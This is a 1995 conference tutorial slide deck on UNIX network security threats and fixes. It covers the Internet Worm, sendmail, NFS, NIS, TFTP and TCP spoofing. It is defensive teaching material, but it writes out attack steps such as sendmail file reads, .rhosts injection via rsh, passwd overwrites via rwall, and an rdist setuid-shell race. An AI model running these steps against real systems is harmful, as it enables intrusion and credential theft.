unix Security: Threats And Solutions From The Networkpenta.ufrgs.br/gereseg/t5am.doc · Web viewUNIX Security: Threats and Solutions from the Network. ... Threats and Solutions

UNIX Security: Threats and Solutions from the NetworkSeptember 19, 1995 LISA `95

Matt BishopDepartment of Computer Science University of California at Davis Davis, CA 95616-8562phone (916) 752-8060 email [email protected]

The Internet Worm (1988)

Best estimates say it disabled 2,600 to 6,000 machines

* targeted Sun and VAX UNIX systems specifically

* traces found on other systems, but it did not function there; simply accessed

We'll describe how it worked in detail, since it is the best known network attack, and had the most far-reaching consequences (so far)

Infection

infected host host under attack

initial connection

"grappling hook"

ask for object files

get object files

compile and run

A worm on an infected host selects another host for infection, places on it a program called the "grappling hook", which it compiles and runs; the hook brings everything else over and links and runs it

What Happened

The worm was set up so that if it tried to infect an infected machine, either it or the resident worm would die

Problems:

* check skipped 1 out of 7 times, so worms immortal

* worms told to quit did so after doing quite a bit more work

* all history of machines infected by parents lost

Result:: most machines consumed by worm within 1-2 hours

The Spread

11/2, 6:00PM: worm believed placed on MIT machine

11/2, 6:24PM: first West Coast site infected

11/2, 7:04PM: UC Berkeley attacked

11/2, 7:54PM: UMD College Park attacked

11/2, 8:40PM: Berkeley figures out sendmail, trusted remote host; notices a finger problem; begins disabling those services

11/2, 8:49PM: U of Utah infected

11/2, 10:06PM: 100 active processes on main Utah CS machine;it is now unusable

UNIX Security: Network (Bishop, (C)1991-1995) LISA `95, T5AM, # 6

The Spread (2)

11/2, 10:20PM: worms on Utah CS machine terminated

11/2, 10:41PM: worms again make Utah CS machine unusable

11/2, 10:49PM: Utah machine shut down and rebooted

11/2, 11:21PM: worms again make Utah CS machine unusable

11/2, 11:28PM: Peter Yee posts "we are under attack" message, advises turning off several services. He missed one (rexec).

Over 2,600 computers now infected.

The Spread (3)

100%

0% 6pm 8pm 10pm 12mid

time of infection v. pct. of infected computers infected


How To Get the Hook There

Four techniques tried simultaneously:

* the sendmail attack

* the trusted remote hosts attack

* the finger attack

* the dictionary attack

The sendmail Attack

Sendmail implements an electronic mail delivery protocol (Simple Mail Transfer Protocol, SMTP) with many extra features, among them:

* debug command allows command to be executed on remote host; not part of SMTP spec; used for debugging and development

Many sites, vendors did not disable this when shipping systems

The sendmail Attack (2)

Worm arranged to execute a command that would:

* delete header added by mail programs from the letter

* feed body to a command interpreter

* body instructed to command interpreter to:

* store a small (99 line) program in a file

* compile this program

* execute it (the grappling hook)

The Trusted Remote Host Attack

Berkeley UNIX network programs have a notion of "trusted host":

* if message is from a system listed in a database of trusted hosts (/etc/hosts.equiv), no additional authorization or authentication is needed

* if not, it obtains the user id from the message, and sees if the corresponding local user has listed the sending system in a private database of trusted hosts (.rhosts file in home directory); if so, no additional authorization or authentication is needed


The Trusted Remote Host Attack (2)

To find other computers to spread to, the worm

* tried all hosts in /etc/hosts.equiv

Whenever it guessed a user's password, or managed to connect to a system as a particular user, it:

* tried all hosts in the .rhosts file in that user's account

* tried all hosts in the mail forwarding file in that user's account (this was a shot in the dark)

UNIX Security: Threats and Solutions from the Network

September 19, 1995 LISA `95


The finger Attack

Finger is an internet service which reads requests from network and returns information about who is using the host, and/or information about a particular user

The Berkeley implementation of the program that listened for requests expected input to be no more than 512 bytes; the input buffer was on the program stack (along with the return address of the main routine) and was not checked for array bounds overflow


The finger Attack (2)

The worm sent 536 bytes of input, most of which was machine code to invoke a command interpreter, and the last 24 (= 536 - 512) bytes of which overwrote the stack frame for the main routine, so when the input reading .

So, when the function returned from reading the input, it "returned" to the new routine which created a command interpreter that the worm could, and did, use to download, compile, and run the grappling hook




The finger Attack (3)

main local variables

return address of main

other return state info

gets local variables

parameter to gets

input buffer

main local variables

address of input buffer

other return state info

gets local variables

program to invoke shell program to invoke shell

after message

the usual stack the stack after the worm


The Dictionary Attack

Worm:

* scanned user database to get user names, corresponding hashes

For each user, it:

* tried different possible passwords (account name, account name reversed, first name, last name, short dictionary, etc.) using a speeded-up version of the hash algorithm




Defenses

Several:

* disconnect from network

Problem is that the network was the only source of information for a lot of people, and network mailing lists were created and used to discuss the worm

* disable finger, sendmail, and remove all .rhosts and host.equiv files

The first two were done quickly, and both have since been repaired (but older versions exist); use of trusted remote hosts tightened in most places

* hide hashed passwords

Shadow password files (in which hash is in a protected file, not a world-readable one) now common


SMTP and sendmail

UA

MTA MTA MTA

UA UA User Agents

Message Transfer Agents

sendmail, on UNIX systems




sendmail Holes

Be sure you have version 8.6.11

Earlier versions have known security holes!

Example:

sendmail is setuid to root on many systems. So to read any file:

sendmail -C target_file

and ignore error messages!

contact your vendor for this.


Things to Check

*sendmail should not support the debug command:

% telnet host 25

... greeting message here ...

debug

500 Command Unrecognized

quit

This means you're okay. If you get anything else, it means you need to get a newer version of sendmail.




Things to Check (2)

*sendmail should have the wiz command disabled: %telnet host 25 ...greeting message... wiz enter oh mighty wizard shell ...you now have a root shell running... To prevent this: look in the sendmail configuration file for a line of the form OW... Delete whatever follows the W and put a * in.


Things to Check (3)

If there is a "decode" alias in the aliases file which runs the letter through uudecode(1), you have a security hole:

% cat x attackinghost attacker % uuencode /usr/victim/.rhosts < x | mail decode@victimhost % rlogin victimhost -l victim The decode alias runs the uudecode program as root, which allows it to "create" (overwrite) the named file.




Things to Check (4)

Some (not all) versions allow appending to arbitrary files; try mailing a letter to a file, with the file named as recipient twice in a

To: filename

field. Then check the file.


Things To Check (5)

Variant: try to embed a newline in the address

When sendmail checks for files and programs in the address, it checks only the first line of the address ... you get the idea

This was the one that caused the latest public outcry (8.6.10 fixed it)




Recommendation

If an alias that executes a program is created:

make absolutely sure there is no way to obtain a shell, or send commands to a shell, or append to an arbitrary file, from those programs


Trusted Ports

Used to solve the masquerade problem for clients on UNIX machines:

only a root process may listen for, or originate, connections on a port with port number under 1024

If not, write a program to listen to port 23 (the telnet port) and spoof a telnet daemon to get user names and passwords




Problem

This is a UNIX convention, not one required by Internet standards.

Add an Ethernet board to a PC (or use any non UNIX machine, for that matter) and you can spoof UNIX network software by transmitting from a trusted port (or receiving packets sent to your machine on a trusted port)


Trusted Hosts

Allows a system administrator or user to extend trust to another host in varying degrees:

* trust everyone on the host

* trust some set of users on that host

* trust a single user on that host

This means that authentication is not done for the trusted users connecting from the trusted host




hosts.equiv

list of hosts that the system administrator has declared are trusted

eleazar's file contains

bear.dartmouth.edu

hydra.riacs.edu

Then any user from either bear or hydra can log in without being authenticated further by eleazar (even if their encrypted password in "/etc/passwd" is set to an illegal value)


Recommendation

the only hosts who should be named in "hosts.equiv" are:

* those hosts under the (physical) control of the system administrator; and

* those hosts not publicly available (ie, no workstation available for public use should be trusted)




.rhosts file

navier chewy

outside

".rhosts" in holly's account on navier contains:

chewy matt

A per-user "hosts.equiv" file, it disables authentication whenever a login request for holly@navier comes from matt@chewy


Recommendation

Either ban them completely (you may need them for some administrative accounts and functions, but not for users), or place the same restrictions upon user choice of host as for "hosts.equiv"




Use of Trusted Host Files (rsh, rlogin, rcp) request from user U on host H to host L

U in L's pwd file

yes

no

U is superuser

no

yes

H (H U) in hosts.equiv on L yes

ALLOW

no H (H U) in ~U/.rhosts on L

ALLOW

yes

no what cmd

DENY unless no password

rcp,rsh

ask for password

rlogin


Identifying Users Remotely

ident protocol

* local host gets connection from port 1503 on host remote.com

* local host sends message to remote.com asking who is using port 1503 on remote.com

* remote.com responds with account name

* local host grants/denies access based on reported account identity




Problems with ident

Recommendation: don't use this unless the host you query is in /etc/hosts.equiv

* if remote.com's root is compromised, attacker can have ident daemon send whatever it wants

* daemon's message can be altered in transit

* association between account, user may be different at remote.com

* if used, use it only for logging and with knowledge it may be wrong


Dartmouth Attack

System Administrator noticed some unusual files on a disk.

* Files were executables taking up lots of room

* No-one admitted they were theirs, but had been modified recently - by a user with a disabled password!

* Checked for trusted host; no .rhost

* No logins on any host




What Happened

Clearly disk was being mounted. How?

* All systems were running NFS

* System addresses well known

Or you could get them from the DNS ...

Let's talk about NFS first


NFS

Originally a Sun Microsystems protocol for file servers, now rapidly becoming an industry standard.

Used to allow diskless workstations in offices and a central file server in the basement

As distributed, no security features enabled

* any host can mount any file system




Remote Mounting

sun200 sun202

Berkeley

WAN

bear

Dartmouth

/etc/exports lists file systems which can be remotely mounted.

If /etc/exports contains

/

/private/sun200

then bear can mount either.


/etc/exports: Controlling Mounting

* Who can mount:

default: anyone

to restrict: use the -access option

/private/sun200 -access=sun202:...

means only sun202,... can mount that system.

Can also use netgroups:

/private/sun200 -access=localsuns

where localsuns is defined to contain sun202,...




/etc/exports: Warning

Note:

Some versions of NFS have a limited line length for this list, or a limited number, and if that limit is exceeded, will allow any host to mount the file system

Moral: Check your vendor patch list


/etc/exports: Access Modes

* Who can write the file system remotely, and who can only read it?

default: allow read/write access.

to force read-only access: use the -ro option:

/public/sun200 -ro

to restrict read/write access: use the -rw option:

/public/sun200 -rw=sun202,sun201,...

only sun202,sun201,... will be able to write to it; other hosts can only read it




/etc/exports: Unknown Users

* How to treat unknown users (remote root is unknown)

default: allow access, but remap effective UID into -2 (old version) or 65534 (new version).

to use another UID: use the anon option

/public/sun200 -anon=1234

means processes from unknown users (or from remote roots) will run with UID 1234.

to disable: set the UID to -1 (old version) or 65535 (new version); this disallows unknown users:

/public/sun200 -anon=-1


/etc/exports: Root Access

* Who can remotely access a file system as root:

default: no-one(remote root accesses mapped into another UID, usually -2 or 65534)

to allow: use the root option

/asroot/sun200 -root=sun202

means processes running as root on sun202 can will not have their UIDs remapped (and are not considered unknown users).

Cannot use netgroups here!




NFS Bug (Sometimes)

Note (signed) -2 is (unsigned) 65534 assuming a 16- bit two's complement representation

*NFS servers assume UIDs are 16 bits

But some systems have 32 bit UIDs What happens? Usually, truncation -- so UID 65536 is read as UID 0!


/etc/exports: Disabling Setuid

* For which programs is the setuid bit honored?

default: honor it always.

to disallow setuid programs: use the -nosuid option:

/public/sun200 -nosuid

now the client will ignore the setuid bit when executing programs from the file system /public/sun200




Looking Around

How do you tell what you have mounted and how?

% mount

/dev/rz0a on / type ufs

/dev/rz0g on /usr type ufs

/dev/rz0h on /usr/local type ufs

sun001:/usr/new on /usr/new type nfs (rw,soft,bg)

sun002:/usr/people on /usr/people type nfs (rw,hard)


Looking from the Server

How do you tell what you are exporting?

% exportfs

/usr -access=bradley,root=windsor

/export/swap/athena -access=athena,root=athena

/new -access=bradley:choate,root=zeus




Looking at the Server

How do you tell what it is exporting?

% showmount -e fs99

export list for fs99:

/usr bradley

/export/swap/athena athena

/new bradley,choate


Looking at the Server (2)

How do you tell what has actually been mounted and where?

% showmount -a fs99

athena:/export/swap/athena

athena:/new

athena:/usr

zeus:/new

zeus:/usr




Dartmouth Attack Redux

And that's what the Dartmouth Sysadmin did

* Turned out we weren't using the -access export control

NFS was new; he was learning ...

* Someone at Harvard was mounting it

No setuid programs involved

A call to the Harvard administrator ended the (human) problem; system fixed, also


Privileged Ports

NFS does not require requests to come from privileged ports (by default)

To make it do so add this to /etc/rc.local (SunOS 4):

rpc.mountd

echo "nfs_portmon/W1" | adb -w /vmunix /dev/kmem

or modify /etc/system (SunOS 5):

set nfs:nfs_portmon = 1 This does not prevent spoofing from PCs or privileged users




Forging Network Packets

Simply write a program to format the data correctly, and write it to the appropriate device

* typically need to be superuser or have write access to the device

* specifications for TCP and IP packets well known and widely available (get any reasonable book on networking!)

Note: some systems will correct bogus source information (eg. ULTRIX)


An Example Attack

(This is the attack Mitnick launched on Shimomura)

Attack used:

* IP address spoofing

* TCP sequence number guessing

* trusted host access

Result: was able to rlogin to a very tightly secured system




How TCP Works

Establishing a connection uses a three-way handshake (here, X wants to talk to T): X -> T: SYN(NX)

T -> X: SYN(NT), ACK(NX)

X -> T: ACK(NT) Now they exchange data NX is a sequence number generated by X NT is a sequence number generated by T


The Attack

If intruder M wants to impersonate X, need to predict sequence number: then M -> T: SYN(NM) but says the source is X

T -> X: SYN(NT), ACK(NM) this can't make it

M -> T: ACK(NT) but says the source is X Now M can send T what it pleases, and T will believe it came from X




Sequence Number Guessing

On BSD-derived systems: sequence numbers incremented at a c onstant rate (128/sec on 4.2, 125,000/sec on 4.3) - Get the time for a round trip to the target - Observe one connection to get the sequence number - Assume short-term stability of round trip - Start guessing!


Hiding the Evidence

M must prevent X from receiving T's acknowledgement (else X will send a RST, reset connection, to shut it down) - source route everything so it goes to M first, then to X (and simply don't forward it); bad as M's address is there - flood X's connections so it cannot receive anything; then the ACK is dropped; fine if you don't care about T's response - wait until X is down (use ping or netstat to figure this out)




The Attack on Shimomura

* sequence of finger and other scans to see if any host used the trusted host mechanism

* large number of SYNs to server port 513; this fills the rlogin queue with requests to initiate a connection; note server sends acks, but as they are never responded to, queue stays full

Why? Now attacker can spoof server's IP address and any attempts to reply will be sent to server, which will discard them as the relevant queue is full


Now for the target ...

* try to connect to target's rsh port (as would rlogin); use some random source address (not the real one)

* about 20 such connections to determine behavior of initial sequence number generator (turns out each one is 128000 more than the previous)

* each one is shut down for incorrect sequence number, keeping queue clear

Now attacker has the way the initial sequence numbers are generated as well as a round trip time. To work!




Now the Connection

Assume: target trusts server (a` la Berkeley trusted hosts)

* send SYN packet with source given as server

* target sends ACK to server; it gets dropped

* send ACK using the predicted sequence number

You now have a one-way connection to target

Send:

rsh target "echo + + >> /.rhosts"


Apre`s nous, le De'luge

* close down bogus connection to target

* send RSTs to server to clear its rlogin connection queue

* rlogin to target as root

Have fun!

Unfortunately for the attacker, Tsutomu routinely logs all TCP packets off-line, and when the attacker deleted ome on-line logs, it was noticed and the attack reconstructed




Basis for NFS

This uses a service called "Remote Procedure Calls," or RPC

* many different designs

* NFS uses Sun's design


Remote Procedure Calls (RPC)

An interprocess communication mechanism usually used for intra-machine communication:

bear amelia

clientserver

portmap

register 1344

where to send?

send to 1344




Spoofing RPC

Two ways, one requiring cooperation of vendor:

* easy: if the supplied version of portmap will accept requests to register or delete services when:

* they come from remote hosts; or

* they refer to a trusted port and come from a connection originating at an untrusted port

just delete one service and add your own version

(note: Sun's version of portmap checks for these)


Spoofing RPC (2)

* harder: if the supplied version of portmap rejects the above requests, replace a service with your own version that will do whatever you like

* harder as you will have to handle the original server

* simple if you can kill it in such a way it does not request deletion

If not root, you need to do this to a service on an untrusted port




RPC and Authentication

For Sun (and as the basis for NIS and the Network File System), two kinds:

* AUTH_UNIX

uses mechanisms from the operating system but not encryption

* AUTH_DES

uses encryption


AUTH_UNIX

Client sends:

* (UID, GID), GID1, ..., GID8

If UID is 0 then in all but one case the UID will be changed to -2, the nobody user

Problem: server believes the UID

* first attack: become root on a remote workstation, then su to anyone else and do your dirty deeds

* second attack: write a function to supply any UID and GIDs you like




Public Key Cryptography

different keys are used for encryption and decryption

C = E(ke, M) and M = D(kd, C)

Requires:

* given ke, it is "computationally infeasible" to obtain kd

* kd cannot be determined by a chosen plaintext attack (ie, given any set of known pairs (M, C), you cannot determine kd

ke is the public key, kd the private key


AUTH_DES

Authentication done using encryption:

* when you log in, your NIS record is obtained:

netname:KU:DES(p,ku)

netname uniquely identifies user (currently I'm 77.unix@csdept)

KU hex of your public key (Diffie-Hellman cryptosystem, based on calculation of discrete logs)

DES(p,ku) hex of your private key encrypted using your password




AUTH_DES (2)

* DES(p,ku) is decrypted and ku stored in /etc/ keystore or kept in keyserver process' memory

* a session key is then generated from ku and KS, the server's public key

* generate a random 56-bit conversation key, encrypt it with session key, send it to server

* Server uses KU and ks to decrypt conversation key


AUTH_DES in Pictures

NIS record know KU, KS use password to get ku

compute conversation key C = (KS, ku)

generate random session key T

append validator V DES(C, {T,V})

know KU, KS, ks

compute conversation key C = (KU, ks)

extract T extract V

if V is bad format, error; else all is well

workstation server




Why This Works

Based on a public key cryptosystem proposed for secrecy; 1976, by Diffie, Hellman, which relies on the complexity of computing logarithms over a finite Galois field GF(p), where p is prime; for large p, no quick method is known

Uses symmetric key exchange; two different users can derive a common interchange key without any prior communication


Getting the Keys

User generates a random number kpriv (private key) in [1,...,p-1]

User computes KPub = a mod p (public key)for some known a.

To send messages to Bob, Alice first computes an interchange key Kab as

Kab = KPubBob mod p

Note that Bob can also compute Kab, as

Kab = KPubAlice mod p

kpriv

kprivAlice

kprivBob




Example

Let a = 2 and p = 13.

Alice picks kprivAlice = 11; then

KPubAlice = 2 mod 13 = 2048 mod 13 = 7

Bob picks kprivBob = 9; then

KPubBob = 2 mod 13 = 512 mod 13 = 5

Their interchange key will be 8, and

5 mod 13 = 8 = 7 mod 13

11

9

11 9

workstation server


Implications

If messages make sense, then:

* the packet that arrived was encrypted using what the server believes is the conversation key

* to get that, it had to be encrypted using the session key

* which means the workstation knew ku

* which means the workstation had the user's password

Note no password is ever sent in the clear over the network




Use

Encrypt a user's (UID, GID), ... information and include it at the head of each packet

* also enclose a timestamp to prevent replay

Problem: clock drift

Solution: allow a "window" of 60 minutes in which packets are valid

* this is the default

* for security-sensitive applications, Sun recommends no more than 5 minutes


Logging In and Out

Two special programs:

* keylogin prompts you for your password, then loads your private key

Useful if you rlogin without needing to supply a password

* keylogout deletes your private key from the key server process' memory




How To Use Secure RPC

* Assign each user a public and private key in /etc/ publickey on the master NIS server

If a user does not have one, run newkey -u user to generate it as the superuser; use newkey -h host if the user is the superuser

* Start the keyserv program; best to do this from /etc/ rc.local. Of course, ypbind must be running too!


Problems

* Performance penalty

The RPC authenticator must be decrypted on each packet. The DES is fast, though; the penalty is roughly 10%.

* Clients must be modified to use Secure RPC

A program must specify which form (none, DES, UNIX) of authentication it wants to use. The modification is trivial




Problems (2)

* The private key is resident on the system

If in /etc/keystore, anyone who gets superuser privileges (or who can read that file, or get a copy of it) can impersonate you. If in the keyserver's memory only, anyone who can read memory can get it. (More likely in this case: a Trojan horse)

* Strength of the cryptosystem

In 1989 it was shown how to calculate the private key given the public key (this is solving the discrete logarithm problem). The technique has not (as far as I know) been published yet, and works well only for small keys. Sun is working on a system using larger keys.


Portmappers and NFS Mounts

Attack: ask the NFS server's portmapper to forward a request to the mount daemon

Result: it looks local, so access privileges of local host (not requester) are used

Fix: Run a portmapper (or rpcbind) that does not forward mount requests (or their ilk). Your vendor probably has a patch. Also see CERT Afdvisory 94:15, "NFS Vulnerabilities"




/etc/exports: Secure Access

* Should NFS use authentication to validate requests?

default: no

to force this: use the secure option

/security/sun200 -secure

means this file system will be exported using Secure NFS only

You also have to have the clients mount it as secure ...


/etc/fstab: Secure Access

* To have workstation sun201 mount /security/sun200 using Secure NFS, put secure in the options field of the appropriate line in /etc/fstab file

sun200:/security/sun200 /security nfs bg,intr 0 0

means regular NFS, and

sun200:/security/sun200 /security nfs bg,intr,secure 0 0

means using Secure NFS




Mounting Remotely

If you need to mount a file system at times other than booting, use mount(8)

Options:

secure assume secure NFS

suid honor setuid bits on the files

nosuid do not honor setuid bits on the files

Recommendation: unless there is a good reason to honor the setuid bits, mount it nosuid


Password Cracking

Goal: to get the file of password hashes

* One large site configured so all password file entries were stored on a server and information sent to other hosts when logged in

* How? Used "Network Information System" (NIS; then called "Yellow Pages" or YP) A large series of these attacks carried out over the past few years; sometimes password files found at sites with large computation facilities




Network Information Services

Formerly called "YP," it's a distributed database system allowing computers to share such information as password files, group files, host tables, etc. over a network.

* Files available everywhere, but stored on one host called the NIS server

* Can group users, hosts, and domains together for easy reference as a netgroup


Net Groups

Defined in /etc/netgroup (or NIS map):

netgroup hostname hostname hostname ...

The named netgroup refers to the named hosts

netgroup (host, user, domain) (host, user, domain) ...

The named netgroup refers to the sets specified

* domain refers to the domain in which the triple is valid so (,,domain) includes everyone and all hosts.

* if a field is empty, it matches any value

* if a field is "-" it matches no value




Example of Using the NIS

The following in the password file:

bishop:xyAbCdEfGgH:23:45:me!:/usr/bishop:/bincsh

+

After "bishop," the clients pull the rest of the password info from the NIS server

Advantage:

* you only need one central repository

* changes are automatically propagated


The "+" Feature (passwd)

This has 3 uses:

+ insert the contents of the NIS password file

+name insert the entry for name from the NIS password file; a non-null password, gecos, home, or shell field in the local password file overrides the NIS value

+@netgroup insert the entries for all members of netgroup




The "-" Feature (passwd)

This has 2 uses:

-name disallow subsequent entries for name (from both this file and the NIS password file)

-@netgroup disallow subsequent entries for members of netgroup (from both this file and the NIS password file)


Example

The local password file has: root:.51ijLgvehlvC:0:10:The Boss:/:/bin/sh root can log in even when NIS is not working +mab: mab's NIS record is interpolated here +@students:no-login: no students can log in +::::Just Visiting anyone else can, but their GECOS is "Just Visiting"




Recommendation

Check the password file of all NIS machines, clients and servers, to be sure that the line with a "+" does not become this:

+::0:0:::


Quick Check

To test the configuration of your server (or a client, if you suspect it is not using the NIS database): % /bin/login login: + Password: anything login incorrect Good version. If after typing the "+" you get a "#" prompt, your system is not configured correctly and you should change the lines in the password file as suggested in the previous slide.




The "+" and "-" Features (group)

This has 3 uses:

+ insert the contents of the NIS group file

+name insert the entry for name from the NIS group file; a non-null password, or user_list field in the local password file overrides the NIS value

-name disallow the group name


Example

The local group file has:

cs58:.51ijLgvehlvC:10:mab,heidi group cs58 has GID 10, members matt and heidi

+project:::matt,holly project has members matt and holly, and GID and password as in NIS record

-hackers: the group hackers is to be ignored

+: interpolate the NIS group file (modulo the above changes)




The "+" and "-" Features (hosts.equiv)

This has 3 uses:

+ insert the contents of the NIS group file

+@name all members of the netgroup name are trusted

-@name no member of the netgroup name is trusted

WARNING: often implemented incorrectly

The latter two can appear as hosts (the "trust" refers to the hosts) or as users (the "trust" refers to the users)


Example

The local hosts.equiv file has: bear eleazar matt

+@cshosts All computers in the netgroup cshosts are trusted

+@engineer +@csstudents Users in the netgroup csstudents are trusted if they log in from hosts in the netgroup engineer

-@engineer All hosts in the netgroup engineer are not trusted (unless a csstudent is making the connection)




Disclosure

NIS intended to obtain requests for information and respond with that information

The attackers simply:

* guessed the large site's domain name and bound their client to it

ypset -d yourdomainname

* asked for the password file

ypcat passwd

This would have worked with shadow password file too!


ypx

Tries to guess domain name, then grabs password file if it succeeds

Tries various permutations of the given host name, plus anything else you like

Get it from:

ftp.uu.net:usenet/comp.sources.misc/volume40/ypx




Fix

* modify the NIS server program ypserv to respond only to specific hosts

most vendors have patches to do this

* change domain name to make it very hard to guess

if you see domain names like "cs12354312", that's why

* force users to choose unguessable passwords, and live with it


Warning

If your host is a server to diskless workstations, it has a bootparam daemon

this may be /etc/bootparamd, ./usr/etc/rcp.bootparamd, etc.

Attack: guess a client's name or address, and send it over; in return, you get the NIS domain name

Cannot be avoided for servers! How else could a client get its own domain name?




Spoofing NIS

ypserv is the program on the server that responds to requests

ypbind is the program on all NIS'ed machines that figures out which ypserv to contact (by broadcasting) and returns that information to the client

so, change the "binding" of ypbind to your own version of ypserv, which supplies what you want the victim to get (rather than the real information)

Example: send over a password file with your entry having UID and group IDs of 0. Then log into that server remotely ...


Spoofing NIS (2)

How? If ...

*you are on the same net as both the NIS server and requesting client

*you see the request before the server does

*you can get your answer to the client before the server's arrives

the client will believe you!

Example: send over a password file with your entry having UID and group IDs of 0. Then log into that server remotely ...




ypbind

To make ypbind ignore all replies from ypservs which are not running on a trusted port:

ypbind -secure

This would require an attacker from a UNIX machine to become root to begin his/her own version of ypserv

It would not stop attackers from non-UNIX machines (they can simply forge packets ...)


Other Ways

Same Goal: get /etc/passwd

* tftp

Technique used to grab password file of one large Internet access provider

* anonymous ftp

Used at a different site, but in the same attack; works at most such sites!

* NFS File Handles

Works with any file




TFTP

A version of FTP that does no authentication whatsoever

* used by diskless Suns to boot

TFTP protocol does not specify any constraints

Tftp implements no access control, so it can grab any file that its user (usually daemon) can read

... this includes the password file


tftp Test

Test for good or bad version: % tftp tftp> connect host tftp> get /etc/motd tmp Error code 1: File not found tftp> quit Good version. If the file transfers, you should get a later version.

contact your vendor for this. The large Internet access provider's version failed.




FTP

protocol for transferring files from one host to another; allows anonymous access

~ftp

bin etc pub

remote host

ftp protocol


Anonymous FTP

To set this up right:

* create ftp account, with disabled password and a home directory (say, /usr/spool/ftp)

* home directory unwritable by anyone and owned by root

* make bin subdirectory, containing ls, unwritable by anyone and owned by root; ls executable only by everyone

* make pub subdirectory; if world writable people can put things in; if not, they can just extract things




More Anonymous ftp

* make etc subdirectory, copy password file in and delete all lines except the one for ftp; copy group file in, delete all lines except the one the ftp user is in and the one the ftp daemon is in; etc should be unwritable by anyone and owned by root

Most sites seem to forget the part about deleting everyone else from the password file

* effect: anyone using anonymous ftp can get your password file

And the attackers did just that


Brian Reid's Attack

Brian noticed he had UUCP passwords for several sites

He used ftp to connect to thos systems as the uucp user

He got the standard ftp interpreter, so he could grab any files owned by UUCP - such as L.sys

It worked.




Dangers of FTP

To prevent this:

create a file called "/etc/ftpuser"s and put login names not to be allowed ftp access:

uucp ingres root audit will reject any ftp attempts by the users uucp, ingres, root, or audit


NFS File Handles

The "file pointer" passed to all programs accessing a file using NFS

* guess a file handle and you get access to the file

* key part: the file's inode number

Usually rather random, except that the root of the file system usually has inode number 1




Randomizing Inode Numbers

Use the program

fsirand device

to randomize the inode numbers of files; this makes guessing the inode number of a specific file much more difficult

Warning don't do this with the file system mounted!!!


Some Other Problems

Here are some miscellaneous network problems:

* sync account

* selection_svc

* rexd daemon

* rwall

* rdist




sync Account

telnets to target, tries to log in as sync

If target supports dynamic loading and the program sync(1) uses it, one can access a privileged account by using the load path bug:

* write your own version of the library called sync(2)

* build a dynamic load file in your home directory

* set LD_PRELOAD to be your home directory

* do login -p sync


Fixes

* put a password on the account

purpose is to enable quick, automatic sncing of disks over network - so this defeats the account's purpose

* make its UID unprivileged

idea is to allow attacker in but make sure she can't do anything; dangerous to allow any kind of access unless the account is very restricted

* make sync(1) statically, not dynamically, loaded

best solution; also, it's easy enough to write a syncing program (4 lines of C) so it can actually be done whether or not you have source!




Selection Services

With selection_svc:

* anyone can ask for what was selected last (paste)

* anyone can tell it what to select

Moral: very easy to read a screen if this is running

Fix:

Disable this service


rexd(8)

With rexd:

* anyone can spoof it by writing an imitation on command

* This can give access to the password file, or to another's account

How? Give them a new .rhosts ...

Moral: easy to break into a system if rexd is running

Fix:

Disable this service




rwall Bug

problem: you can overwrite system files using rwall

rwall uses /etc/utmp to see where users are logged on and writes to anything, even non-ttys

host% edit utmp to put ../etc/passwd as first 13 chars

host% create a replacement password file, with ^J as first char

host% rwall local < replacement_password_file

and the password file is changed


rwall Fixes

Fixes:

* alter rwall to write only to ttys

* make rwall setgid to group, not setuid to root




rdist Hole

problem: there is a race condition between a file's creation and installation (chown)

rdist creates an intermediate file in /tmp, then installs it when the original file contents are inserted

host% do an rdist of any huge file on remotehost; suspend once started

host% rlogin to remote host

remotehost% cd /tmp

remotehost% rm rdistxxxxx; ln -s /bin/sh rdistxxxxx and /bin/sh is now setuid to root


rdist Fix

Fix:

* modify rdist to use fchown, not chown

Goal is to make sure the file that is opened has its ownership changed, not one substituted for the open file

fchown changes owner of the open file, not of any file with the same name as the one opened




ISS

Very useful program that scans for some common network holes:

* sync account * info-giving daemons (ypserv, rusers,

* decode, uudecode, bbs, mount, name, x26, bootparam, rexd,

guest, lp accounts selection_svc)

* sendmail debug, wiz * guess domain name

* ftp accounts with incorrect * file systems exported

permissions * list of users

Get latest free version (1.21) from

ftp.uu.net:usenet/comp.sources.misc/volume40/iss


SATAN

Similar in function to ISS, but looks for some extra things (at least, compared to the free version of ISS)

* NFS export to unprivileged programs, export via the portmapper, unconstrained export

* NIS password file access

* rexd, unconstrained tftp services available

* latest version of sendmail

* wildcards in hosts.equiv or .rhosts

* unrestricted X server access

* ftp directory world writable

Available from:

ftp.win.tue.nl:pub/security/satan.tar.Z




Reading Network Packets

*Use tcpdump(1) or a similar program: - put workstation into promiscuous mode (using ifconfig(8) and pfconfig(8)) if needed (ULTRIX) - su to root if needed (SunOS) - set permissions of /dev/bpfn if needed (BSD) - run tcpdump or write your own filter to filter the packets


Software

tcpdump is freely available

Anonymous ftp from ftp.uu.net:networking/ip/trace/tcpdump

nfswatch is too

Anonymous ftp from ftp.uu.net:networking/ip/nfs/ nfswatch4.0.tar.Z




Vampires

windsor tam

rlogin who, pwd

xyz

attacker on xyz can see password and account of user on windsor


Where to Get This

PHRACK

PHRACK volume 45, look for the words "JOIN THE POSSE"; this is tailored for password sniffing, and works REAL well see previous

slight modifications to standard network tools will also do this




Network Encryption

prandtl wookie

other host

wookie sends message to prandtl

other host can read it, alter, replace, or delete it

network encryption not done


Authentication

Need authentication technique which does not send passwords over the wire

* example: Sun's Secure RPC

Not appropriate for situations where some sort of validation of identity has to be made to many servers rather than just one




Needham-Schroeder Protocols

* Used for authentication in a network

* Require an authentication server that can supply requested information from a secret key

* Protocols for both classical, public-key cryptosystems

* Minor bug, subsequently fixed by Denning and Sacco


NS: Classical Cryptosystem

authentication server AS

A B

A,B,Ia {Ia,B,Sk,{Sk,A}Kb}Ka

{Sk,A}Kb

{Ib}Sk

{f(Ib)}Sk




NS: Classical Cryptosystem (2)

Ia is an identifier used by A exactly once (a nonce)

* B knows message came via AS as it is encrypted in a key known only to AS and B

* B knows session key Sk was produced by AS for the same reason

* B knows AS is vouching that the other party is A

* B knows this is not a replay due to thew Ib handshake

As B trusts AS, A knows communication came from A, and B can use the session key Sk


NS: Flaw in Classical

Suppose C obtains Sk and records {SK,A}Kb. Then

C B

{Sk,A}Kb

{Ib}Sk

{f(Ib)}Sk

and B now thinks it is talking to A!

Fix: assign f to pairs and keep secret.

How: if done via AS, same as key problem; if done directly, swap keys directly and forget about this protocol




NS: Denning and Sacco Modification

All encrypted messages include a timestamp T. Then

C B

{Sk,A,T}Kb

{Ib}Sk

{f(Ib)}Sk

Now B checks that T is "acceptably close" to its current time (this being no more than the server's clock drift wit respect to the local clock, plus any network delay)

Note: AS also sends A {T, B, Sk, {Sk, A, T}Kb}Ka


Kerberos

Authentication system developed for use in Project Athena at MIT

